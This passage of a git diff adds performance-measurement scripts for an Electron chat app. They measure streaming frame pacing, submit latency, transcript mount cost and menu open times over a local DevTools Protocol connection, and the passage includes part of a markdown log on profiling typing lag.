+import stream from './stream.mjs'
+
+export default {
+  name: 'stream-history',
+  tier: 'manual',
+  description: 'Streaming cost with a long settled transcript already mounted.',
+  run(cdp, opts = {}) {
+    return stream.run(cdp, { ...opts, historyTurns: Number(opts.historyTurns ?? 200) })
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/stream.mjs b/ui-desktop/scripts/perf/scenarios/stream.mjs
new file mode 100644
index 000000000..f32a4831b
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/stream.mjs
@@ -0,0 +1,215 @@
+// Streaming render cost. Subsumes measure-synthetic-stream, profile-synth-stream,
+// profile-long-stream (synthetic) and measure-real-stream / profile-real-stream
+// (via --real). CPU profiling is provided by the runner's --cpuprofile flag.
+//
+// Metrics (lower is better): longtask count + max, frame p95/p99, slow-frame
+// count, inter-mutation p95. These are what "is streaming smooth?" reduces to.
+
+import { SELECTORS, sleep, typeIntoComposer } from '../lib/cdp.mjs'
+import { frameHistogram, percentile } from '../lib/stats.mjs'
+
+const RECORDERS = `
+  (() => {
+    // Generation guard: a prior run's rAF loop re-reads window.__FT__ each frame,
+    // so simply reassigning it would leave the old loop running and pushing into
+    // the new array (overlapping recorders inflate frame intervals on run 2+).
+    // Bumping the generation makes every stale loop exit on its next tick.
+    window.__FT_GEN__ = (window.__FT_GEN__ || 0) + 1
+    const ftGen = window.__FT_GEN__
+    window.__FT__ = { times: [], stop: false }
+    let last = performance.now()
+    const tick = () => {
+      if (window.__FT_GEN__ !== ftGen || window.__FT__.stop) return
+      const now = performance.now()
+      window.__FT__.times.push(now - last)
+      last = now
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+
+    window.__LT__ = { entries: [], stop: false }
+    try {
+      const po = new PerformanceObserver((list) => {
+        if (window.__LT__.stop) return
+        for (const e of list.getEntries()) window.__LT__.entries.push({ duration: e.duration, startTime: e.startTime })
+      })
+      po.observe({ entryTypes: ['longtask'] })
+      window.__LT__.po = po
+    } catch {}
+
+    window.__MO__ = { mutations: [], stop: false, current: null }
+    window.__MO__.arm = () => {
+      const all = document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)})
+      const last = all[all.length - 1]
+      if (!last || last === window.__MO__.current) return
+      window.__MO__.current = last
+      window.__MO__.obs && window.__MO__.obs.disconnect()
+      const obs = new MutationObserver(() => {
+        if (window.__MO__.stop) return
+        window.__MO__.mutations.push({ t: performance.now(), len: last.textContent.length })
+      })
+      obs.observe(last, { childList: true, subtree: true, characterData: true })
+      window.__MO__.obs = obs
+    }
+    return 'armed'
+  })()
+`
+
+const COLLECT = `
+  (() => {
+    window.__FT__.stop = true
+    window.__LT__.stop = true
+    window.__MO__.stop = true
+    try { window.__LT__.po && window.__LT__.po.disconnect() } catch {}
+    try { window.__MO__.obs && window.__MO__.obs.disconnect() } catch {}
+    return JSON.stringify({
+      frames: window.__FT__.times,
+      longtasks: window.__LT__.entries,
+      mutations: window.__MO__.mutations
+    })
+  })()
+`
+
+function analyze(data, warmupMs, extra = {}) {
+  // Drop warm-up frames (recorder installs before the stream starts).
+  const frames = []
+  let acc = 0
+
+  for (const f of data.frames) {
+    acc += f
+
+    if (acc >= warmupMs) {
+      frames.push(f)
+    }
+  }
+
+  const interMut = []
+
+  for (let i = 1; i < data.mutations.length; i++) {
+    interMut.push(data.mutations[i].t - data.mutations[i - 1].t)
+  }
+
+  const ltDurations = data.longtasks.map(e => e.duration)
+  const windowS = frames.reduce((a, b) => a + b, 0) / 1000
+
+  return {
+    metrics: {
+      longtasks_n: data.longtasks.length,
+      longtask_max_ms: Math.round((ltDurations.length ? Math.max(...ltDurations) : 0) * 10) / 10,
+      frame_p95_ms: Math.round(percentile(frames, 0.95) * 10) / 10,
+      frame_p99_ms: Math.round(percentile(frames, 0.99) * 10) / 10,
+      slow_frames_33: frames.filter(f => f > 33).length,
+      intermut_p95_ms: Math.round(percentile(interMut, 0.95) * 10) / 10
+    },
+    detail: {
+      ...extra,
+      windowS: Math.round(windowS * 10) / 10,
+      avgFps: windowS ? Math.round((frames.length / windowS) * 10) / 10 : 0,
+      frameHistogram: frameHistogram(frames),
+      mutations: data.mutations.length,
+      finalLen: data.mutations.at(-1)?.len ?? 0
+    }
+  }
+}
+
+export default {
+  name: 'stream',
+  tier: 'ci',
+  description: 'Assistant-message streaming: longtasks, frame pacing, mutation cadence.',
+  async run(cdp, opts = {}) {
+    const tokens = Number(opts.tokens ?? 400)
+    const intervalMs = Number(opts.intervalMs ?? 16)
+    const flushMinMs = Number(opts.flushMinMs ?? 33)
+    // Realistic default: a short markdown paragraph ending in a blank line, so
+    // blocks SETTLE as they stream — exactly how real LLM output behaves, and
+    // what block-memoization is designed for (only the growing tail re-renders).
+    // A chunk with NO paragraph break (e.g. `--chunk 'word '`) instead grows one
+    // ever-larger block that re-renders fully every flush — a useful worst-case
+    // stress, but not the typical number. No raw autolink (avoids DNS/link-embed
+    // noise unrelated to render cost).
+    const chunk = opts.chunk ?? 'A streamed sentence with **bold**, `code`, and ordinary prose like a normal reply.\n\n'
+    const real = Boolean(opts.real)
+    const historyTurns = Number(opts.historyTurns ?? 0)
+    const historySettleMs = Number(opts.historySettleMs ?? 1500)
+
+    await cdp.send('Runtime.enable')
+
+    // Mount the settled history BEFORE the recorders start, so the measurement
+    // window contains only streaming work — not the one-off mount cost.
+    if (historyTurns > 0) {
+      if (real) {
+        throw new Error('--historyTurns is only supported by the synthetic stream path')
+      }
+
+      await cdp.eval(`window.__PERF_DRIVE__.loadTranscript(${historyTurns})`)
+      await sleep(historySettleMs)
+
+      const mounted = Number(await cdp.eval('window.__PERF_DRIVE__.snapshotMsgs()'))
+      const expected = historyTurns * 2
+
+      if (mounted !== expected) {
+        throw new Error(`expected ${expected} preloaded history messages, got ${mounted}`)
+      }
+    }
+
+    await cdp.eval(RECORDERS)
+
+    if (real) {
+      // Backend path: fire a real prompt and wait for the stream to appear.
+      const baseCount = await cdp.eval(
+        `document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)}).length`
+      )
+      await typeIntoComposer(cdp, opts.prompt ?? 'count from 1 to 80, one number per line', { cps: 40 })
+      await cdp.eval(`(() => {
+        const el = document.querySelector(${JSON.stringify(SELECTORS.composer)})
+        el && el.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', code: 'Enter', bubbles: true, cancelable: true }))
+      })()`)
+
+      const deadline = Date.now() + Number(opts.timeoutMs ?? 60000)
+      let started = false
+
+      while (Date.now() < deadline) {
+        await sleep(50)
+        const n = await cdp.eval(`document.querySelectorAll(${JSON.stringify(SELECTORS.assistantMessage)}).length`)
+
+        if (n > baseCount) {
+          started = true
+          break
+        }
+      }
+
+      if (!started) {
+        throw new Error('real stream never started (no LLM credit / backend?)')
+      }
+
+      await cdp.eval('window.__MO__.arm()')
+      // Let it run to completion or timeout.
+      const runDeadline = Date.now() + Number(opts.runMs ?? 30000)
+
+      while (Date.now() < runDeadline) {
+        await sleep(250)
+        const busy = await cdp.eval(`!!document.querySelector('[data-status="running"], [data-busy="true"]')`)
+
+        if (!busy) {
+          break
+        }
+      }
+    } else {
+      // Synthetic path: drive $messages directly. No LLM, no credits.
+      await cdp.eval(
+        `window.__PERF_DRIVE__.stream({ chunk: ${JSON.stringify(chunk)}, intervalMs: ${intervalMs}, totalTokens: ${tokens}, flushMinMs: ${flushMinMs} })`
+      )
+      await sleep(200)
+      await cdp.eval('window.__MO__.arm()')
+      await sleep(tokens * intervalMs + 1500)
+    }
+
+    const data = JSON.parse(await cdp.eval(COLLECT))
+
+    if (!real) {
+      await cdp.eval('window.__PERF_DRIVE__.reset()')
+    }
+
+    return analyze(data, real ? 0 : 500, { historyTurns })
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/submit.mjs b/ui-desktop/scripts/perf/scenarios/submit.mjs
new file mode 100644
index 000000000..9b5efc193
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/submit.mjs
@@ -0,0 +1,87 @@
+// Submit (Enter) latency + scroll stability. Subsumes measure-submit and
+// measure-jump. Backend tier: fires a REAL prompt, so run it on a throwaway
+// session with a live backend. Report-only (no committed baseline — real
+// round-trips are too environment-dependent to gate).
+
+import { SELECTORS, sleep, typeIntoComposer } from '../lib/cdp.mjs'
+import { summarize } from '../lib/stats.mjs'
+
+const MEASURE = `
+  new Promise((resolve) => {
+    const composer = document.querySelector(${JSON.stringify(SELECTORS.composer)})
+    const thread = document.querySelector(${JSON.stringify(SELECTORS.threadContent)}) ||
+                   document.querySelector(${JSON.stringify(SELECTORS.threadViewport)})
+    const viewport = document.querySelector(${JSON.stringify(SELECTORS.threadViewport)})
+    const startCount = thread ? thread.querySelectorAll(${JSON.stringify(SELECTORS.turnPair)}).length : 0
+    const startScroll = viewport ? viewport.scrollTop : 0
+    const m = { start: performance.now(), maxJumpPx: 0 }
+    let done = false
+
+    const finish = (reason) => {
+      if (done) return
+      done = true
+      clearTimeout(timer); composerObs.disconnect(); threadObs && threadObs.disconnect()
+      m.reason = reason
+      resolve(m)
+    }
+
+    const composerObs = new MutationObserver(() => {
+      if (!m.composerClearedMs && composer && composer.innerText.length === 0) {
+        m.composerClearedMs = performance.now() - m.start
+      }
+    })
+    composer && composerObs.observe(composer, { childList: true, subtree: true, characterData: true })
+
+    let threadObs = null
+    if (thread) {
+      threadObs = new MutationObserver(() => {
+        if (viewport) m.maxJumpPx = Math.max(m.maxJumpPx, Math.abs(viewport.scrollTop - startScroll))
+        const c = thread.querySelectorAll(${JSON.stringify(SELECTORS.turnPair)}).length
+        if (!m.userMsgRenderedMs && c > startCount) {
+          m.userMsgRenderedMs = performance.now() - m.start
+          requestAnimationFrame(() => { m.userMsgPaintMs = performance.now() - m.start; finish('paint') })
+        }
+      })
+      threadObs.observe(thread, { childList: true, subtree: true })
+    }
+
+    const timer = setTimeout(() => finish('timeout'), 5000)
+    composer && composer.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', code: 'Enter', bubbles: true, cancelable: true }))
+  })
+`
+
+export default {
+  name: 'submit',
+  tier: 'backend',
+  description: 'Enter → composer cleared → user message painted, plus scroll jump.',
+  async run(cdp, opts = {}) {
+    const rounds = Number(opts.rounds ?? 3)
+    await cdp.send('Runtime.enable')
+
+    const clears = []
+    const paints = []
+    const jumps = []
+
+    for (let i = 0; i < rounds; i++) {
+      await typeIntoComposer(cdp, `perf submit round ${i} ${'x'.repeat(30)}`, { cps: 60 })
+      await sleep(250)
+      const m = await cdp.eval(MEASURE)
+
+      if (typeof m.composerClearedMs === 'number') clears.push(m.composerClearedMs)
+      if (typeof m.userMsgPaintMs === 'number') paints.push(m.userMsgPaintMs)
+      jumps.push(m.maxJumpPx ?? 0)
+
+      // Let the turn finish before the next round so they don't pile up.
+      await sleep(4000)
+    }
+
+    return {
+      metrics: {
+        submit_clear_p95_ms: summarize(clears).p95,
+        submit_paint_p95_ms: summarize(paints).p95,
+        submit_scroll_jump_max_px: Math.max(0, ...jumps)
+      },
+      detail: { rounds, clears: summarize(clears), paints: summarize(paints) }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/scenarios/transcript.mjs b/ui-desktop/scripts/perf/scenarios/transcript.mjs
new file mode 100644
index 000000000..75b86b7d8
--- /dev/null
+++ b/ui-desktop/scripts/perf/scenarios/transcript.mjs
@@ -0,0 +1,50 @@
+// Large-transcript mount cost. New scenario (no prior script measured this):
+// loads N synthetic turns of mixed markdown into $messages and records the
+// mount→paint time plus any longtasks the mount blocks the main thread with.
+// This is the "open a long session" path — a first-impression latency.
+
+import { sleep } from '../lib/cdp.mjs'
+
+const OBSERVE = `
+  (() => {
+    window.__TM__ = { longtasks: [] }
+    try {
+      const po = new PerformanceObserver((l) => {
+        for (const e of l.getEntries()) window.__TM__.longtasks.push(e.duration)
+      })
+      po.observe({ entryTypes: ['longtask'] })
+      window.__TM__.po = po
+    } catch {}
+    return 'observing'
+  })()
+`
+
+export default {
+  name: 'transcript',
+  tier: 'ci',
+  description: 'Mount + paint cost of loading a long transcript.',
+  async run(cdp, opts = {}) {
+    const turns = Number(opts.turns ?? 200)
+
+    await cdp.send('Runtime.enable')
+    await cdp.eval(OBSERVE)
+
+    const mountMs = await cdp.eval(`window.__PERF_DRIVE__.loadTranscript(${turns})`)
+
+    // Let post-mount longtasks (content-visibility passes, virtualizer) settle.
+    await sleep(1500)
+
+    const longtasks = await cdp.eval('window.__TM__.longtasks')
+    await cdp.eval('try { window.__TM__.po && window.__TM__.po.disconnect() } catch {}')
+    await cdp.eval('window.__PERF_DRIVE__.reset()')
+
+    return {
+      metrics: {
+        transcript_mount_ms: Math.round(mountMs * 10) / 10,
+        transcript_longtask_ms: Math.round(longtasks.reduce((a, b) => a + b, 0) * 10) / 10,
+        transcript_longtask_max_ms: Math.round((longtasks.length ? Math.max(...longtasks) : 0) * 10) / 10
+      },
+      detail: { turns, messages: turns * 2, longtasks: longtasks.length }
+    }
+  }
+}
diff --git a/ui-desktop/scripts/perf/serve.mjs b/ui-desktop/scripts/perf/serve.mjs
new file mode 100644
index 000000000..4ba6f0175
--- /dev/null
+++ b/ui-desktop/scripts/perf/serve.mjs
@@ -0,0 +1,40 @@
+// Launch a standalone, fully isolated perf instance and leave it running so you
+// can attach the harness (`npm run perf`) or DevTools to it. Ctrl-C tears it
+// down and removes its temp dirs.
+//
+//   npm run perf:serve                 # :9222, temp CLAWCODEX_CONFIG_DIR + user-data-dir
+//   PERF_PORT=9333 npm run perf:serve  # custom CDP port
+//
+// This is the isolation seam: because it uses its own --user-data-dir the
+// Electron single-instance lock never collides with a running `hgui`.
+
+import { startIsolatedInstance } from './lib/launch.mjs'
+
+const port = Number(process.env.PERF_PORT ?? 9222)
+const devPort = Number(process.env.PERF_DEV_PORT ?? 5174)
+
+console.log(`[perf:serve] starting isolated instance (CDP :${port}, dev :${devPort})…`)
+
+const instance = await startIsolatedInstance({
+  port,
+  devPort,
+  clawcodexHome: process.env.PERF_CLAWCODEX_CONFIG_DIR,
+  userDataDir: process.env.PERF_USER_DATA
+})
+
+console.log(`[perf:serve] READY — attach with: npm run perf -- --port ${port}`)
+
+let closing = false
+const shutdown = () => {
+  if (closing) {
+    return
+  }
+
+  closing = true
+  console.log('\n[perf:serve] tearing down…')
+  instance.teardown()
+  process.exit(0)
+}
+
+process.on('SIGINT', shutdown)
+process.on('SIGTERM', shutdown)
diff --git a/ui-desktop/scripts/probe-command-palette.mjs b/ui-desktop/scripts/probe-command-palette.mjs
new file mode 100644
index 000000000..1b48d81df
--- /dev/null
+++ b/ui-desktop/scripts/probe-command-palette.mjs
@@ -0,0 +1,146 @@
+// ⌘K open latency, measured in-page (no CDP round-trip in the number).
+//
+//   node scripts/probe-command-palette.mjs [--port 9222] [--rounds 8]
+//
+// Reports, per round, the time from the keydown the app actually receives to:
+//   frame_ms  — the dialog frame + input in the DOM and painted (what "instant"
+//               means: the overlay owes you a frame immediately)
+//   rows_ms   — the row list painted (may lag frame_ms; rows are deferred)
+// plus any long tasks in the window, so a slow open is attributable.
+import { CDP, sleep } from './perf/lib/cdp.mjs'
+
+const args = process.argv.slice(2)
+const flag = name => {
+  const i = args.indexOf(`--${name}`)
+
+  return i >= 0 ? args[i + 1] : undefined
+}
+
+const port = Number(flag('port') ?? 9222)
+const rounds = Number(flag('rounds') ?? 8)
+
+const cdp = await CDP.connect({ port })
+
+await cdp.send('Runtime.enable')
+
+const INSTALL = `
+  (() => {
+    if (window.__CMDK__) window.__CMDK__.stop()
+
+    const state = { t0: null, frame: null, rows: 0, rowsAt: null, tasks: [], armed: false }
+
+    // Time from the keydown the APP receives — excludes CDP transport, so the
+    // number is what a user's finger actually experiences.
+    const onKey = e => {
+      if (state.armed && (e.metaKey || e.ctrlKey) && e.key.toLowerCase() === 'k') {
+        state.t0 = performance.now()
+        state.armed = false
+      }
+    }
+
+    window.addEventListener('keydown', onKey, true)
+
+    const obs = new MutationObserver(() => {
+      if (state.t0 === null) return
+      if (state.frame === null && document.querySelector('[cmdk-input]')) {
+        state.frame = performance.now() - state.t0
+      }
+      const n = document.querySelectorAll('[cmdk-item]').length
+      if (n > state.rows) { state.rows = n; state.rowsAt = performance.now() - state.t0 }
+    })
+
+    obs.observe(document.body, { childList: true, subtree: true })
+
+    const po = new PerformanceObserver(list => {
+      for (const e of list.getEntries()) state.tasks.push({ start: e.startTime, dur: Math.round(e.duration) })
+    })
+
+    try { po.observe({ entryTypes: ['longtask'] }) } catch {}
+
+    window.__CMDK__ = {
+      arm: () => { state.t0 = null; state.frame = null; state.rows = 0; state.rowsAt = null; state.tasks = []; state.armed = true },
+      read: () => ({
+        frame_ms: state.frame === null ? -1 : Math.round(state.frame),
+        rows_ms: state.rowsAt === null ? -1 : Math.round(state.rowsAt),
+        rows: state.rows,
+        longtask_ms: state.t0 === null ? 0 : state.tasks.filter(t => t.start >= state.t0).reduce((s, t) => s + t.dur, 0)
+      }),
+      stop: () => { window.removeEventListener('keydown', onKey, true); obs.disconnect(); po.disconnect() }
+    }
+
+    return true
+  })()
+`
+
+// Settle: frame painted AND rows stopped growing for two frames.
+const WAIT = `
+  new Promise(resolve => {
+    let stable = 0
+    let last = -1
+    const started = performance.now()
+    const tick = () => {
+      const r = window.__CMDK__.read()
+      if (r.frame_ms >= 0 && r.rows === last && r.rows > 0) {
+        if (++stable >= 2) { resolve(r); return }
+      } else { stable = 0 }
+      last = r.rows
+      if (performance.now() - started > 8000) { resolve(window.__CMDK__.read()); return }
+      requestAnimationFrame(tick)
+    }
+    requestAnimationFrame(tick)
+  })
+`
+
+const key = async type =>
+  cdp.send('Input.dispatchKeyEvent', {
+    type,
+    key: 'k',
+    code: 'KeyK',
+    windowsVirtualKeyCode: 75,
+    nativeVirtualKeyCode: 75,
+    modifiers: 4
+  })
+
+const esc = async () => {
+  for (const type of ['keyDown', 'keyUp']) {
+    await cdp.send('Input.dispatchKeyEvent', { type, key: 'Escape', code: 'Escape', windowsVirtualKeyCode: 27 })
+  }
+
+  await sleep(400)
+}
+
+await cdp.eval(INSTALL)
+await esc()
+
+const samples = []
+
+for (let i = 0; i < rounds; i++) {
+  await sleep(250)
+  await cdp.eval('window.__CMDK__.arm()')
+  await key('rawKeyDown')
+  await key('keyUp')
+  const r = await cdp.eval(WAIT)
+  samples.push(r)
+  console.log(`round ${i}:`, r)
+  await esc()
+}
+
+await cdp.eval('window.__CMDK__.stop()')
+
+const stat = k => {
+  const v = samples.map(s => s[k]).filter(n => n >= 0).sort((a, b) => a - b)
+
+  if (!v.length) return null
+
+  return {
+    min: v[0],
+    median: v[Math.floor(v.length / 2)],
+    max: v[v.length - 1]
+  }
+}
+
+console.log('\nkeydown → dialog frame painted (ms):', stat('frame_ms'))
+console.log('keydown → rows painted        (ms):', stat('rows_ms'))
+console.log('long-task time in window      (ms):', stat('longtask_ms'))
+
+cdp.close()
diff --git a/ui-desktop/scripts/probe-model-picker.mjs b/ui-desktop/scripts/probe-model-picker.mjs
new file mode 100644
index 000000000..d5585a368
--- /dev/null
+++ b/ui-desktop/scripts/probe-model-picker.mjs
@@ -0,0 +1,80 @@
+// Model picker open latency probe: click the composer model pill, time until
+// the dropdown/dialog content paints, repeat. Run with --cpuprofile via the
+// harness runner once promoted; standalone for iteration.
+//   node scripts/perf/probe-model-picker.mjs [--port 9222] [--rounds 5]
+import { CDP } from './perf/lib/cdp.mjs'
+
+const args = process.argv.slice(2)
+const flag = name => {
+  const i = args.indexOf(`--${name}`)
+  return i >= 0 ? args[i + 1] : undefined
+}
+const port = Number(flag('port') ?? 9222)
+const rounds = Number(flag('rounds') ?? 5)
+const sleep = ms => new Promise(r => setTimeout(r, ms))
+
+const cdp = await CDP.connect({ port })
+await cdp.send('Runtime.enable')
+
+// Find the pill (dropdown path) — the composer model selector button.
+const PILL = `(() => {
+  const btns = [...document.querySelectorAll('button[aria-label]')]
+  const pill = btns.find(b => /model/i.test(b.getAttribute('aria-label') || '') && b.closest('[data-slot]'))
+  return pill ? (pill.getAttribute('aria-label') || 'found') : null
+})()`
+
+console.log('pill:', await cdp.eval(PILL))
+
+const MEASURE = `
+  (async () => {
+    const btns = [...document.querySelectorAll('button[aria-label]')]
+    const pill = btns.find(b => /model/i.test(b.getAttribute('aria-label') || ''))
+    if (!pill) return JSON.stringify({ error: 'no pill' })
+
+    const t0 = performance.now()
+    pill.dispatchEvent(new PointerEvent('pointerdown', { bubbles: true }))
+    pill.dispatchEvent(new PointerEvent('pointerup', { bubbles: true }))
+    pill.click()
+
+    // Wait for menu/dialog content to exist AND paint (double rAF after found).
+    const found = await new Promise(resolve => {
+      const deadline = performance.now() + 5000
+      const check = () => {
+        const menu = document.querySelector('[role="menu"], [role="dialog"] [cmdk-list]')
+        if (menu && menu.childElementCount > 0) {
+          requestAnimationFrame(() => requestAnimationFrame(() => resolve(performance.now())))
+          return
+        }
+        if (performance.now() > deadline) { resolve(null); return }
+        requestAnimationFrame(check)
+      }
+      check()
+    })
+
+    const openMs = found ? found - t0 : null
+    const rows = document.querySelectorAll('[role="menu"] [role="menuitem"], [cmdk-item]').length
+
+    // Close: Escape.
+    document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }))
+    const menu = document.querySelector('[role="menu"], [role="dialog"]')
+    menu?.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }))
+    await new Promise(r => setTimeout(r, 300))
+
+    return JSON.stringify({ openMs, rows })
+  })()
+`
+
+const samples = []
+
+for (let i = 0; i < rounds; i++) {
+  const raw = await cdp.eval(MEASURE, { awaitPromise: true })
+  const r = JSON.parse(raw)
+  console.log(`round ${i}:`, r)
+  if (typeof r.openMs === 'number') samples.push(r.openMs)
+  await sleep(500)
+}
+
+samples.sort((a, b) => a - b)
+console.log('\nopen latency ms — min/median/max:',
+  Math.round(samples[0]), '/', Math.round(samples[Math.floor(samples.length / 2)]), '/', Math.round(samples.at(-1)))
+cdp.close()
diff --git a/ui-desktop/scripts/probe-renderer.mjs b/ui-desktop/scripts/probe-renderer.mjs
new file mode 100644
index 000000000..fb0633b73
--- /dev/null
+++ b/ui-desktop/scripts/probe-renderer.mjs
@@ -0,0 +1,38 @@
+// quick probe — read state of the renderer
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+console.log('target:', tgt?.url)
+if (!tgt) process.exit(1)
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (method, params = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method, params }))
+  })
+
+const r = await send('Runtime.evaluate', {
+  expression: `({
+    url: location.href,
+    title: document.title,
+    rootChildren: document.getElementById('root')?.children.length ?? 0,
+    rootInner: (document.getElementById('root')?.innerHTML ?? '').slice(0, 300),
+    hasComposer: !!document.querySelector('[data-slot="composer-rich-input"]'),
+    bootStage: (document.querySelector('[data-slot*="boot"]')?.getAttribute('data-slot')) ?? null,
+    bodyText: document.body.innerText.slice(0, 300),
+    errorCount: window.__errors?.length ?? 'n/a'
+  })`,
+  returnByValue: true
+})
+console.log('raw:', JSON.stringify(r, null, 2))
+ws.close()
diff --git a/ui-desktop/scripts/probe-thread.mjs b/ui-desktop/scripts/probe-thread.mjs
new file mode 100644
index 000000000..51b5965a7
--- /dev/null
+++ b/ui-desktop/scripts/probe-thread.mjs
@@ -0,0 +1,40 @@
+// Probe the cloud shadows thread state — count messages, turn pairs,
+// thread height, composer state
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (m, p = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method: m, params: p }))
+  })
+
+const r = await send('Runtime.evaluate', {
+  expression: `JSON.stringify({
+    url: location.href,
+    title: document.title,
+    turnPairs: document.querySelectorAll('[data-slot="aui_turn-pair"]').length,
+    assistantMsgs: document.querySelectorAll('[data-slot="aui_assistant-message-root"]').length,
+    userMsgs: document.querySelectorAll('[data-message-role="user"], [data-slot="aui_user-message-root"]').length,
+    totalDomNodes: document.querySelectorAll('*').length,
+    threadViewportScrollHeight: document.querySelector('[data-slot="aui_thread-viewport"]')?.scrollHeight ?? null,
+    threadViewportClientHeight: document.querySelector('[data-slot="aui_thread-viewport"]')?.clientHeight ?? null,
+    threadViewportScrollTop: document.querySelector('[data-slot="aui_thread-viewport"]')?.scrollTop ?? null,
+    composer: !!document.querySelector('[data-slot="composer-rich-input"]'),
+    busy: !!document.querySelector('[aria-label*="Stop"]')
+  })`,
+  returnByValue: true
+})
+console.log(JSON.parse(r.result.result.value))
+ws.close()
diff --git a/ui-desktop/scripts/profile-model-picker.mjs b/ui-desktop/scripts/profile-model-picker.mjs
new file mode 100644
index 000000000..26e16d6e7
--- /dev/null
+++ b/ui-desktop/scripts/profile-model-picker.mjs
@@ -0,0 +1,60 @@
+// CPU-profile one model-picker open.
+//   node scripts/profile-model-picker.mjs [--port 9222]
+import { writeFileSync } from 'node:fs'
+
+import { CDP } from './perf/lib/cdp.mjs'
+import { cpuProfileTopSelf } from './perf/lib/stats.mjs'
+
+const port = Number(process.argv.includes('--port') ? process.argv[process.argv.indexOf('--port') + 1] : 9222)
+const cdp = await CDP.connect({ port })
+await cdp.send('Runtime.enable')
+await cdp.send('Profiler.enable')
+await cdp.send('Profiler.setSamplingInterval', { interval: 100 })
+
+const OPEN = `
+  (async () => {
+    // Reset: close any open menu first.
+    document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }))
+    await new Promise(r => setTimeout(r, 250))
+
+    const btns = [...document.querySelectorAll('button[aria-label]')]
+    const pill = btns.find(b => /model/i.test(b.getAttribute('aria-label') || ''))
+    if (!pill) return -1
+    const t0 = performance.now()
+    pill.dispatchEvent(new PointerEvent('pointerdown', { bubbles: true }))
+    pill.dispatchEvent(new PointerEvent('pointerup', { bubbles: true }))
+    pill.click()
+    const found = await new Promise(resolve => {
+      const deadline = performance.now() + 8000
+      const check = () => {
+        const menu = document.querySelector('[role="menu"]')
+        if (menu && menu.childElementCount > 0) {
+          requestAnimationFrame(() => requestAnimationFrame(() => resolve(performance.now())))
+          return
+        }
+        if (performance.now() > deadline) { resolve(-1); return }
+        requestAnimationFrame(check)
+      }
+      check()
+    })
+    return found < 0 ? -1 : found - t0
+  })()
+`
+
+await cdp.send('Profiler.start')
+const openMs = await cdp.eval(OPEN)
+const { profile } = await cdp.send('Profiler.stop')
+
+console.log('openMs:', Math.round(openMs))
+const out = `/tmp/model-picker-open.cpuprofile`
+writeFileSync(out, JSON.stringify(profile))
+console.log('wrote', out)
+console.log('top self-time (ms):')
+
+for (const r of cpuProfileTopSelf(profile, 20)) {
+  console.log(`  ${r.ms.toFixed(1).padStart(7)}  ${r.name.padEnd(44)}  ${r.url.split('/').slice(-2).join('/')}:${r.line}`)
+}
+
+// Close the menu again.
+await cdp.eval(`document.dispatchEvent(new KeyboardEvent('keydown', { key: 'Escape', bubbles: true }))`)
+cdp.close()
diff --git a/ui-desktop/scripts/profile-typing-lag.md b/ui-desktop/scripts/profile-typing-lag.md
new file mode 100644
index 000000000..a10037581
--- /dev/null
+++ b/ui-desktop/scripts/profile-typing-lag.md
@@ -0,0 +1,388 @@
+# Profiling renderer typing lag
+
+Workflow for empirically measuring (and fixing) typing/submit lag in the
+desktop chat composer.
+
+> **Note (Jul 2026):** the standalone `measure-*` / `profile-*` scripts this
+> doc references have been consolidated into the systematized perf harness at
+> `scripts/perf/` (`npm run perf`, `npm run perf:serve`). CPU profiling is now a
+> `--cpuprofile` flag on any scenario. This doc is kept as an investigation log;
+> for the current tooling and the scenario→old-script mapping see
+> `scripts/perf/README.md`.
+
+## Quick boot for profiling
+
+Vite 8 + plugin-react 6 has a known issue where the React Fast Refresh
+preamble script isn't injected into `index.html`, so opening Electron at
+`http://127.0.0.1:5174` throws `$RefreshReg$ is not defined` on every TSX
+module and the React tree never mounts. Workaround: run vite with HMR off.
+
+```bash
+# Terminal A — start dev server without HMR
+cd apps/desktop
+node scripts/dev-no-hmr.mjs
+
+# Terminal B — start Electron with CDP exposed
+cd apps/desktop
+XCURSOR_SIZE=24 CLAWCODEX_DESKTOP_DEV_SERVER=http://127.0.0.1:5174 \
+  ../../node_modules/.bin/electron --remote-debugging-port=9222 .
+```
+
+Terminal C is yours to run the harnesses.
+
+## Harnesses
+
+All zero-dep — Node 24 built-in `WebSocket` + `fetch`.
+
+### Typing latency — `measure-latency.mjs`
+
+Per-keystroke `keypress → next paint` latency, p50/p90/p99/max.
+Synthesizes keystrokes via `Input.dispatchKeyEvent` so the run is
+reproducible.
+
+```bash
+node apps/desktop/scripts/measure-latency.mjs --chars=120 --cps=20
+```
+
+Anything > 16ms is a dropped frame. On a freshly-loaded session
+(`scripts/click-session.mjs 'Phaser particle'`) we currently see:
+
+| | unpatched | patched |
+|---|---|---|
+| p50 paint | 1.9 ms | 2.0 ms |
+| p90 paint | 3.3 ms | 13.7 ms |
+| p99 paint | 16.7 ms | 15.2 ms |
